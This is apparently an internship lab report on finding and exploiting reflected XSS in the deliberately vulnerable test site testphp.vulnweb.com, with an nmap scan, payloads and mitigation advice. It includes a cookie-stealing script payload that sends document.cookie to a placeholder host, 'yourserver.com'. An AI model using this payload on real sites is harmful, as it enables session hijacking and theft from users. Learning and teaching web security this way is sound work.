

# Week 1: Learning Tasks

**Week 1 Task Report - [ReferenceID]**

**Introduction**

This report outlines the findings and actions taken during Week 1 of the Web Application Security internship, focusing on identifying and exploiting Cross-Site Scripting (XSS) vulnerabilities in the target application [testphp.vulnweb.com](http://testphp.vulnweb.com).

**Initial Reconnaissance**

**Nmap Scan Results**

An Nmap scan was conducted to identify open ports and services running on the target application.

*Command Used:*

sh

Copy code

nmap -sS -p- testphp.vulnweb.com

*Results:*

* Open Ports: 80 (HTTP), 443 (HTTPS)
* Services: Apache HTTPD 2.4.18

**Identified Technologies**

Wappalyzer was used to determine the technologies and frameworks utilized by the application.

*Findings:*

* Web Server: Apache
* Programming Language: PHP
* Frameworks: jQuery, Bootstrap



**Testing for XSS**

**Tools Used**

* OWASP ZAP
* Burp Suite

**Input Fields Tested**

* Search bar
* Comment section

**XSS Payloads Used**

* <script>alert('test');</script>

**Results**

The payload executed successfully in the search bar, indicating a reflected XSS vulnerability.

**Exploiting the XSS Vulnerability**

**Controlled Exploit**

A controlled exploit was performed to demonstrate the impact of the vulnerability.

*Payload Used:*

html

Copy code

<script>document.write('<img src="http://yourserver.com/cookie?c=' + document.cookie + '">');</script>

**Impact**

* Demonstrated the ability to steal cookies.
* Potential for session hijacking and user impersonation.

**Understanding the Security Issue**

**Analysis**

The XSS vulnerability arises from improper input validation and output encoding in the search bar. The application renders user input directly without sanitizing or encoding it, allowing the execution of arbitrary scripts.

**Best Practices to Mitigate XSS**



1. **Input Validation:**
   * Validate and sanitize all user inputs to ensure only expected data is processed.
2. **Output Encoding:**
   * Properly encode data before rendering it in the browser to prevent script execution.
3. **Content Security Policy (CSP):**
   * Implement a robust CSP to restrict the sources from which scripts can be loaded and executed.
4. **Secure Cookies:**
   * Use HttpOnly and Secure attributes for cookies to prevent access via JavaScript and ensure they are transmitted over HTTPS.

**Suggested Remediation Steps**

* Implement input validation using a library like OWASP ESAPI.
* Apply output encoding using functions such as htmlspecialchars() in PHP.
* Configure CSP headers in the web server configuration.
* Set secure attributes for cookies in the application code.

**Conclusion**

This report demonstrates the process of identifying, exploiting, and understanding XSS vulnerabilities in the target application. Following the recommended actions will help secure the application against such vulnerabilities and enhance overall security.